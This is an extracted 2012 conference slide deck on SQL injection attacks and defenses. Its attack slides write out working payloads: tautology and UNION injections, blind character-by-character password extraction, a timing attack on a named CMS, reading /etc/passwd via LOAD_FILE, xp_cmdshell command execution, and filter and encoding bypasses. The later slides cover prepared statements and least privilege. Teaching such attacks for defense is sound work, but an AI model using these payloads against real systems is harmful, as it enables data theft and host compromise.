The objective of this talk is to demonstrate how to subvert some SQLi (bad but popular) defenses and to show how to properly defend against SQLi attacks.
We will cover topics such as:
- Blind SQLi attacks
- Timing SQLi attacks
- Encoding attacks
- How to subvert some filters
- How you should protect your code against SQLi attacks
Presented at ISEL Tech 2012, 24/05/12 Lisbon
Video available at http://www.youtube.com/watch?v=M4DwMPuLx48 (in Portuguese)
note: this is almost exactly the same talk as given in Codebits IV (2010), without the Codebits CTF qualifier explanation.
2. Summary
Summary: • Motivation
• Objectives
• What is SQLi?
• Attack using Tautologies
• Attack using union query
• Blind Injection
• Timing Attacks
• Second Order SQLi
• Piggy-backed Queries
• File System Access
• Common Mistakes while Protecting
• Int queries
• Blacklist Approach
• Best Practices
• Prepared Statements
• Escaping/Validating Input
SAPO Websecurity Team 2
6. Objectives
Two Objectives:
• Awareness:
• This is a real problem and it’s
dangerous
• How to protect your code:
• There are good and bad protections.
SAPO Websecurity Team ISEL Tech 2012 5
7. SQLi > What is it?
What is it?
• SQL Injection vulnerabilities are introduced when software
developers use untrusted data in the construction of dynamic
Example of Vulnerable query:
Impact of SQLi:
• Data loss or corruption
• Data leakage
• DoS
• Sometimes can lead to complete host takeover
• Reputation can be harmed.
SAPO Websecurity Team ISEL Tech 2012 6
8. SQLi > Example of Attack using Tautologies
Example of Vulnerable code:
SAPO Websecurity Team ISEL Tech 2012 7
9. SQLi > Example of Attack using Tautologies
Example of Vulnerable code:
Attack:
• http://vuln.example/login?username=x’ or 1=1 limit 0,1-- -
Query executed:
• SELECT id,group,full_name FROM users WHERE username=’x’ or 1=1 limit 0,1
SAPO Websecurity Team ISEL Tech 2012 7
10. SQLi > Example of Attack using Tautologies
Example of Vulnerable code:
Attack:
• http://vuln.example/login?username=x’ or 1=1 limit 0,1-- -
Query executed:
• SELECT id,group,full_name FROM users WHERE username=’x’ or 1=1 limit 0,1
Query returns the first row of table users, thus you’ll login with that user and see
his full name
SAPO Websecurity Team ISEL Tech 2012 7
11. SQLi > More Advanced Attack using union queries
Example of Vulnerable code:
Attack:
• http://vuln.example/login?username=x’ and 1=0 union select null,null,table_name from
information_schema.tables limit 30,1-- -
Query executed:
•SELECT id,group,full_name FROM users WHERE username=’x’ and 1=0 union select
null,null,table_name from information_schema.tables limit 30,1
SAPO Websecurity Team ISEL Tech 2012 8
12. SQLi > More Advanced Attack using union queries
Example of Vulnerable code:
Attack:
• http://vuln.example/login?username=x’ and 1=0 union select null,null,table_name from
information_schema.tables limit 30,1-- -
Query executed:
•SELECT id,group,full_name FROM users WHERE username=’x’ and 1=0 union select
null,null,table_name from information_schema.tables limit 30,1
• You use the the UNION and the 3rd column of the query (full_name) to dump
information from the db
• You can use the ORDER BY <fieldNumber> to find the number of columns in the query
• You can also use CONCAT() to retrieve several fields as one field
SAPO Websecurity Team ISEL Tech 2012 8
14. SQLi > Blind injection
... but sometimes you are not that lucky. Sometimes the only information
you can get is a binary result - true or false, 1 or 0, error or no-error.
That is called a Blind SQLi.
SAPO Websecurity Team ISEL Tech 2012 9
15. SQLi > Blind injection
... but sometimes you are not that lucky. Sometimes the only information
you can get is a binary result - true or false, 1 or 0, error or no-error.
That is called a Blind SQLi.
Imagine that the following URL is vulnerable to a blind SQLi:
• http://vuln.example.com/news.php?id=12
SAPO Websecurity Team ISEL Tech 2012 9
16. SQLi > Blind injection
... but sometimes you are not that lucky. Sometimes the only information
you can get is a binary result - true or false, 1 or 0, error or no-error.
That is called a Blind SQLi.
Imagine that the following URL is vulnerable to a blind SQLi:
• http://vuln.example.com/news.php?id=12
Trying to guess the table name:
• id=5 union all select 1,2,3 from admin /* Returns an error if table admin does not exist
*/
SAPO Websecurity Team ISEL Tech 2012 9
17. SQLi > Blind injection
... but sometimes you are not that lucky. Sometimes the only information
you can get is a binary result - true or false, 1 or 0, error or no-error.
That is called a Blind SQLi.
Imagine that the following URL is vulnerable to a blind SQLi:
• http://vuln.example.com/news.php?id=12
Trying to guess the table name:
• id=5 union all select 1,2,3 from admin /* Returns an error if table admin does not exist
*/
Trying to guess the column names:
• id=5 union all select 1,2,passwd from admin /* Returns an error if column passwd does
not exist */
SAPO Websecurity Team ISEL Tech 2012 9
18. SQLi > Blind injection
... but sometimes you are not that lucky. Sometimes the only information
you can get is a binary result - true or false, 1 or 0, error or no-error.
That is called a Blind SQLi.
Imagine that the following URL is vulnerable to a blind SQLi:
• http://vuln.example.com/news.php?id=12
Trying to guess the table name:
• id=5 union all select 1,2,3 from admin /* Returns an error if table admin does not exist
*/
Trying to guess the column names:
• id=5 union all select 1,2,passwd from admin /* Returns an error if column passwd does
not exist */
Extract ‘username:passwd’ from table (char by char):
• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),
1,1))>64 /* ret true */
• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),
1,1))>96 /* ret true */
• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),
1,1))>100 /* ret false */
• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),
1,1))>97 /* ret false */
(....) Don’t worry, you have tools to
• id=5 and ascii(substring((select automatize this...
concat(username,0x3a,passwd) from users limit 0,1),
SAPO Websecurity /* ret true */
2,1))>64 Team ISEL Tech 2012 9
19. SQLi > Get around blind SQLi > sqlmap
sqlmap can save you a lot of time when exploiting a blind SQL injection.
There are a lot of other powerful options at your disposal as well...
SAPO Websecurity Team ISEL Tech 2012 10
20. SQLi > Timing attacks
Sometimes you don’t even get a True/False or Error/Non-Error response.
In those cases you need to use a Timing attack
A real example - LightNEasy CMS 3.2.1:
POST Data:
handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(10000000,
ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE
id="1&password=&do=login&=Login
If the first character of the admin hash is b, the query will take around 5
seconds to execute
SAPO Websecurity Team ISEL Tech 2012 11
21. SQLi > Timing attacks
BENCHMARK() is MySQL-specific, but you have alternative functions in other
DBMS
BENCHMARK(10000000,md5(1))
MySQL
or SLEEP(5)
PG_SLEEP(5)
PostgreSQL
or GENERATE_SERIES(1,1000000)
MS SQL Server WAITFOR DELAY ‘0:0:5’
SAPO Websecurity Team ISEL Tech 2012 12
22. SQLi > Second Order SQLi
What is it?
When the attacker is able to insert malicious input that does no harm to
the query in the page but will exploit a vulnerability in another page
that reads that malicious input to query the database
Example:
• Create an user: EveMalory’ OR user=‘admin
• User logs in
• After logging in, the script queries for user’s info based on the
retrieved username:
SELECT user, password, full_name, age, homepage, gender
FROM users WHERE user=‘EveMalory’ OR user=‘admin’
• EveMalory does not exist, thus we’ll read admin’s info.
SAPO Websecurity Team ISEL Tech 2012 13
23. SQLi > Piggy-backed queries
What is it?
The ability to use the vulnerability to insert a second query
Example (user input in bold):
SELECT user, password from users where id=2; drop table users
SQL Server MySQL PostgreSQL
ASP
ASP.NET
PHP
So, what can we do if MySQL and PHP/ASP is being used and we want to
insert or update data? We can use triggers.
SAPO Websecurity Team ISEL Tech 2012 14
24. SQLi > File System Access
Read Access
MySQL requirements: FILE privileges -> Have your ever typed “GRANT ALL
PRIVILEGES...”?
SAPO Websecurity Team ISEL Tech 2012 15
25. SQLi > File System Access
Read Access
MySQL requirements: FILE privileges -> Have your ever typed “GRANT ALL
PRIVILEGES...”?
1- Inject a LOAD_FILE() call using your favorite SQLi technique.
... union select 1,1, LOAD_FILE('/etc/passwd'),1,1;
2- Get the LOAD_FILE() output.
- 5000 chars limit if abusing a varchar column
- early char truncate if forcing SQL errors
- binary content
SAPO Websecurity Team ISEL Tech 2012 15
26. SQLi > File System Access
Read Access
MySQL requirements: FILE privileges -> Have your ever typed “GRANT ALL
PRIVILEGES...”?
1- Inject a LOAD_FILE() call using your favorite SQLi technique.
... union select 1,1, LOAD_FILE('/etc/passwd'),1,1;
2- Get the LOAD_FILE() output.
- 5000 chars limit if abusing a varchar column
- early char truncate if forcing SQL errors
- binary content
If you have piggy-backed queries (and CREATE TABLE privileges)
- create a support table
- redirect LOAD_FILE() to other file using INTO DUMPFILE, but hex encoded
- read the second file with LOAD DATA INFILE to the support table
- read the support table with standard SQLi
CREATE TABLE potatoes(line BLOB);
UNION SELECT 1,1, HEX(LOAD_FILE('/etc/passwd')),1,1 INTO DUMPFILE ‘/tmp/potatoes’;
LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes;
SAPO Websecurity Team ISEL Tech 2012 15
27. SQLi > File System Access
Write Access
MySQL requirements: FILE privileges
1- Use INTO DUMPFILE through union or piggy-backed SQLi
Limitations
- limits on GET parameters length
- INTO DUMPFILE does not append data
Again, if you have piggy-backed queries
- create a support table
- INSERT first chunk of the file into the table
- using UPDATE, CONCAT the other chunks to the first one
- write the file with SELECT INTO DUMPFILE
SAPO Websecurity Team ISEL Tech 2012 16
28. SQLi > File System Access
Operating System Command Execution
MS SQL Server is our friend
- xp_cmdshell() procedure
- executes commands on the host OS
- returns the command output
- in SQL Server 2005 onwards disabled by default, but...can be enabled
with an SQLi
- Simple to use
EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’
MySQL also vulnerable
- User Defined Functions (UDF)
- requires FILE and INSERT privileges, and piggy-backed queries
SAPO Websecurity Team ISEL Tech 2012 17
29. SQLi > Some Stats
But wait, is SQLi a common problem? YES!
According to exploit-db.com, from January 2012 until today they
reported:
• 72 SQLi vulnerabilities
•13 were blind SQLi
•5 were in Joomla Components
SAPO Websecurity Team ISEL Tech 2012 18
30. SQLi > Some Stats
To get this stats, Nuno was searching for the string “sql injection”...
.. and Nuno noticed that the results page was broken, so he tried to exploit it
and found it was vulnerable to XSS.
Nuno reported the vulnerability and it was fixed within 10 minutes.
SAPO Websecurity Team ISEL Tech 2012 19
31. SQLi > Wrong Protections
Common Mistakes When
Protecting your Code
SAPO Websecurity Team ISEL Tech 2012 20
32. SQLi > Wrong Protections > Int values
SAPO Websecurity Team ISEL Tech 2012 21
33. SQLi > Wrong Protections > Int values
Some folks say that escaping user input is enough (‘ , “ , r,
n, NUL and Control-Z) to prevent SQLi, but is it?
SAPO Websecurity Team ISEL Tech 2012 21
34. SQLi > Wrong Protections > Int values
Some folks say that escaping user input is enough (‘ , “ , r,
n, NUL and Control-Z) to prevent SQLi, but is it?
Imagine the following query string from user.php which displays the name of the
user :
Is this vulnerable to SQLi?
SAPO Websecurity Team ISEL Tech 2012 21
35. SQLi > Wrong Protections > Int values
Some folks say that escaping user input is enough (‘ , “ , r,
n, NUL and Control-Z) to prevent SQLi, but is it?
Imagine the following query string from user.php which displays the name of the
user :
Is this vulnerable to SQLi?
What if I enter the following URL:
• http://vuln.example.com/user.php?id=12 AND 1=0 union select 1,concat(user,
0x3a,password),3,4,5,6 from mysql.user where
user=substring_index(current_user(),char(64),1)
SAPO Websecurity Team ISEL Tech 2012 21
36. SQLi > Wrong Protections > Int values
Some folks say that escaping user input is enough (‘ , “ , r,
n, NUL and Control-Z) to prevent SQLi, but is it?
Imagine the following query string from user.php which displays the name of the
user :
Is this vulnerable to SQLi?
What if I enter the following URL:
• http://vuln.example.com/user.php?id=12 AND 1=0 union select 1,concat(user,
0x3a,password),3,4,5,6 from mysql.user where
user=substring_index(current_user(),char(64),1)
The query result is the following:
mysql_real_escape_string() will not escape any character because there isn’t any
to be escaped, therefore
root:*31EFD0D03381795E5B770791D7A56CCD379F1141 will be output to the
SAPO Websecurity Team ISEL Tech 2012 21
38. SQLi > Wrong Protections > Alternate Encodings
I found this in a Quiz for a Security course from a popular University:
• Consider the GBK Chinese unicode charset
• Let’s take a look at some characters:
0x 5c =
0x 27 = ’ db interprets as 2 chars
0x bf 27 = ¿’
0x bf 5c = db interprets as a single chinese char
SAPO Websecurity Team ISEL Tech 2012 22
39. SQLi > Wrong Protections > Alternate Encodings
I found this in a Quiz for a Security course from a popular University:
• Consider the GBK Chinese unicode charset
• Let’s take a look at some characters:
0x 5c =
0x 27 = ’ db interprets as 2 chars
0x bf 27 = ¿’
0x bf 5c = db interprets as a single chinese char
• Imagine that you use addslashes() to escape input in your code
• If attacker inputs ¿' or 1=1 , the string becomes ¿' (0xbf5c27)
• But 0xbf5c is the chinese char , thus the resulting string is interpreted as
‘ OR 1=1
• In case you haven’t noticed, you just bypassed the escaping function
SAPO Websecurity Team ISEL Tech 2012 22
41. SQLi > Wrong Protections > Blacklist filtering
• Blacklists, i.e filter out some chars or expressions, is not a good practice
SAPO Websecurity Team ISEL Tech 2012 23
42. SQLi > Wrong Protections > Blacklist filtering
• Blacklists, i.e filter out some chars or expressions, is not a good practice
• Imagine that you filter the following from user input:
• Spaces
• Quotes (“ and ‘)
• Some SQL keywords (like where)
SAPO Websecurity Team ISEL Tech 2012 23
43. SQLi > Wrong Protections > Blacklist filtering
• Blacklists, i.e filter out some chars or expressions, is not a good practice
• Imagine that you filter the following from user input:
• Spaces
• Quotes (“ and ‘)
• Some SQL keywords (like where)
You shall not use spaces:
SELECT/**/passwd/**/from/**/user or
SELECT(passwd)from(user)
SAPO Websecurity Team ISEL Tech 2012 23
44. SQLi > Wrong Protections > Blacklist filtering
• Blacklists, i.e filter out some chars or expressions, is not a good practice
• Imagine that you filter the following from user input:
• Spaces
• Quotes (“ and ‘)
• Some SQL keywords (like where)
You shall not use spaces:
SELECT/**/passwd/**/from/**/user or
SELECT(passwd)from(user)
You shall not use quotes:
SELECT passwd from users where user=0x61646D696E
(hex for admin)
SAPO Websecurity Team ISEL Tech 2012 23
45. SQLi > Wrong Protections > Blacklist filtering
• Blacklists, i.e filter out some chars or expressions, is not a good practice
• Imagine that you filter the following from user input:
• Spaces
• Quotes (“ and ‘)
• Some SQL keywords (like where)
You shall not use spaces:
SELECT/**/passwd/**/from/**/user or
SELECT(passwd)from(user)
You shall not use quotes:
SELECT passwd from users where user=0x61646D696E
(hex for admin)
You shall not use the where keyword:
You can use HAVING and IF() and ORDER BY
You get the idea...
SAPO Websecurity Team ISEL Tech 2012 23
46. SQLi > How to Protect against SQLi?
One simple solution:
• Prepared Statements / Parameterized
Queries
(or parameterized stored
procedures)
SAPO Websecurity Team ISEL Tech 2012 24
47. SQLi > Protect against SQLi > Prepared Statements
Prepared Statements:
• Prepared statements keep the query structure and query data
separated through the use of placeholders known as bound parameters.
The developer must then set values for the placeholders.
• Prepared statements ensure that an attacker is not able to change the
intent of a query, even if SQL commands are inserted by an attacker
Example:
SAPO Websecurity Team ISEL Tech 2012 25
48. SQLi > Protect against SQLi > Escaping/Validating INPUT
• If Prepared Statements are not possible you should Escape and
Validate user input
• You can also use this technique in addition to prepared statements
If you know what input you are expecting you can validate it:
• If you are expecting integers cast the input to integer or use PHP’s
intval()
• If you are expecting an email address you can use a regexp to validate it
• If you are expecting the user’s name it’s not so simple (because of the ‘)
Escape all the user input:
• Each programming language has its own functions or methods
• in PHP you can use addslashes() (with caution)
• If possible use the DBMS specific escaping function (e.g.
mysql_real_escape_string())
SAPO Websecurity Team ISEL Tech 2012 26
49. SQLi > Protect against SQLi > Other
Other important recommendations:
• Create a specific database user to be used exclusively by your
Web App
• Only grant the user with the necessary privileges (exclude file,
drop, create, etc from the list)
• Limit the access to the database to localhost only (if possible)
or to the Web frontends
• Limit the access of the database user to the Web App database
only (don’t allow the db user to access other databases)
• SET THE DBMS ROOT’S PASSWORD! (seriously)
• Use strong passwords in your DBMS for root and all other users
SAPO Websecurity Team ISEL Tech 2012 27
51. SQLi > References
Websites:
• http://websec.wordpress.com/
• http://
blog.mindedsecurity.com/
• http://www.webappsec.org/
• http://www.owasp.org/
Whitepaper:
• Advanced SQL injection to operating
system full control, Bernardo Damele
Guimarães, 2009
SAPO Websecurity Team ISEL Tech 2012 29
Editor's Notes
\n
- All examples in PHP and MySQL\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
- objective: during a black box penetration try to files from the database host filesystem, to disclosure some kind of information\n- file system attacks have a few requirements\n \n- what we can read? Depends with which user the DBMS is executing\nUnix based systems -> files owned by mysql (for instance, other databases)\nWindows -> not so tight control, since mysql runs as a system user that can read pretty much everything\n\n- SQLi technique -> UNION, blind or error based\n\n- if you don&#x2019;t have piggy-backed queries just find out the length of the data and read in chunks...or use one of the previous technique\n\n- LOAD_FILE vs LOAD DATA INFILE\nLOAD_FILE works well with binary files\nLOAD_FILE is a function that can be used as a term in a select statement, whereas issuing a complete statement like 'LOAD DATA INFILE' is somewhat tricky. If the SQL injection situation allows us to submit multiple statements, however, this can be a serious problem.\n
- objective: during a black box penetration try to files from the database host filesystem, to disclosure some kind of information\n- file system attacks have a few requirements\n \n- what we can read? Depends with which user the DBMS is executing\nUnix based systems -> files owned by mysql (for instance, other databases)\nWindows -> not so tight control, since mysql runs as a system user that can read pretty much everything\n\n- SQLi technique -> UNION, blind or error based\n\n- if you don&#x2019;t have piggy-backed queries just find out the length of the data and read in chunks...or use one of the previous technique\n\n- LOAD_FILE vs LOAD DATA INFILE\nLOAD_FILE works well with binary files\nLOAD_FILE is a function that can be used as a term in a select statement, whereas issuing a complete statement like 'LOAD DATA INFILE' is somewhat tricky. If the SQL injection situation allows us to submit multiple statements, however, this can be a serious problem.\n
- objective: replace or create files.\n\n- support table with one field, data-type longblob\n- chunks have to be hex encoded.\n- there is no need to decode because \nmysql> select 0x41;\n+------+\n| 0x41 |\n+------+\n| A |\n+------+\n1 row in set (0.00 sec)\n\n\n- tirar o &#x201C;already...&#x201D; se o slide for depois\n
- we can re-enable it if the user has the role sysadmin or\n- using sp_configure stored procedure\n